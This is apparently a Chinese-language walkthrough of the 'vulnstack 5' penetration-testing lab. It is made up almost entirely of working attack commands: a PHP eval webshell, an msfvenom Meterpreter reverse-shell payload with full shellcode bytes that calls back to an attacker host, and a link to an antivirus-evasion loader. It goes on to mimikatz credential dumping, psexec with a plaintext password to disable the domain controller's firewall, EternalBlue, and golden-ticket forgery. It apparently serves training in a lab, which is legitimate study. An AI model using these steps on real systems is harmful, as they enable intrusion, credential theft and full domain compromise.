vulnstack（五）

1.信息收集

主机发现

sudo netdiscover eth0 -r 192.168.31.0/24

端口扫描

nmap -A 192.168.31.57 -p- -sV -oN nmap.a

goby漏扫

2.漏洞利用

goby 通用poc写webshell

echo ^<?php @eval($_POST['123']) ?^> >     #注意”>“字符需要转义
type shell.php

蚁剑连接webshell

3.内网渗透

webshell权限为sun\Administrator权限

MSFshellcode免杀马上传

使用掩日3.2进行加载shelcode，

掩日下载：https://github.com/1y0n/AV_Evasion_Tool/releases/tag/3.1.2

kali@ToolsScannerKali20201:~$ msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.31.215 LPORT=1234 -f c
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] = 
"\xb8\x36\x2b\x17\x3d\xdb\xd2\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x56\x31\x45\x13\x03\x45\x13\x83\xc5\x32\xc9\xe2\xc1\xd2\x8f"
"\x0d\x3a\x22\xf0\x84\xdf\x13\x30\xf2\x94\x03\x80\x70\xf8\xaf"
"\x6b\xd4\xe9\x24\x19\xf1\x1e\x8d\x94\x27\x10\x0e\x84\x14\x33"
"\x8c\xd7\x48\x93\xad\x17\x9d\xd2\xea\x4a\x6c\x86\xa3\x01\xc3"
"\x37\xc0\x5c\xd8\xbc\x9a\x71\x58\x20\x6a\x73\x49\xf7\xe1\x2a"
"\x49\xf9\x26\x47\xc0\xe1\x2b\x62\x9a\x9a\x9f\x18\x1d\x4b\xee"
"\xe1\xb2\xb2\xdf\x13\xca\xf3\xe7\xcb\xb9\x0d\x14\x71\xba\xc9"
"\x67\xad\x4f\xca\xcf\x26\xf7\x36\xee\xeb\x6e\xbc\xfc\x40\xe4"
"\x9a\xe0\x57\x29\x91\x1c\xd3\xcc\x76\x95\xa7\xea\x52\xfe\x7c"
"\x92\xc3\x5a\xd2\xab\x14\x05\x8b\x09\x5e\xab\xd8\x23\x3d\xa3"
"\x2d\x0e\xbe\x33\x3a\x19\xcd\x01\xe5\xb1\x59\x29\x6e\x1c\x9d"
"\x38\x78\x9f\x71\x82\xe9\x61\x72\xf2\x20\xa6\x26\xa2\x5a\x0f"
"\x47\x29\x9b\xb0\x92\xc7\x91\x26\xdd\xbf\xb9\x61\xb5\xbd\xc5"
"\x89\x94\x48\x23\xc1\x48\x1a\xfc\xa2\x38\xda\xac\x4a\x53\xd5"
"\x93\x6b\x5c\x3c\xbc\x06\xb3\xe8\x94\xbe\x2a\xb1\x6f\x5e\xb2"
"\x6c\x0a\x60\x38\x84\xea\x2f\xc9\xed\xf8\x58\xae\x0d\x01\x99"
"\x5b\x0d\x6b\x9d\xcd\x5a\x03\x9f\x28\xac\x8c\x60\x1f\xaf\xcb"
"\x9f\xde\x99\xa0\x96\x74\xa5\xde\xd6\x98\x25\x1f\x81\xf2\x25"
"\x77\x75\xa7\x76\x62\x7a\x72\xeb\x3f\xef\x7d\x5d\x93\xb8\x15"
"\x63\xca\x8f\xb9\x9c\x39\x8c\xbe\x62\xbf\xbb\x66\x0a\x3f\xfc"
"\x96\xca\x55\xfc\xc6\xa2\xa2\xd3\xe9\x02\x4a\xfe\xa1\x0a\xc1"
"\x6f\x03\xab\xd6\xa5\xc5\x75\xd6\x4a\xde\x86\xad\x23\xe1\x67"
"\x52\x2a\x86\x68\x52\x52\xb8\x55\x84\x6b\xce\x98\x14\xc8\xc1"
"\xaf\x39\x79\x48\xcf\x6e\x79\x59";

复制shellcode ctrl+v直接生成

MSF获取meterpreter

域内信息收集

路由信息

Local subnet: 192.168.31.0/255.255.255.0
Local subnet: 192.168.138.0/255.255.255.0

抓密码

进程注入获取SYSTEM权限

load mimikatz
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
wdigest
tspkg

添加路由

扫描内网存活

Psexec命令关闭DC域控防火墙

use auxiliary/admin/smb/psexec_command 
set rhosts 192.168.138.138
set smbuser Administrator
set smbpass dc123.com
set COMMAND netsh advfirewall set allprofiles state off
run

永恒之蓝正向连接

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.138.138
set rport 445 
run

开启域控3389使用域管理员Administrator登录域控

开RDP

run post/windows/manage/enable_rdp 

开sock4a并配置/etc/proxychains

4.权限维持

进程注入提取krbtgt信息

生成黄金票据

load kiwi
golden_ticket_create -d sun.com -u wxk -s S-1-5-21-3388020223-1982701712-4030140183 -k 65dc23a67f31503698981f2665f9d858 -t /tmp/krbtgt.ticket

载入票据查询域控

kerberos_ticket_use /tmp/krbtgt.ticket
dir \\DC\c$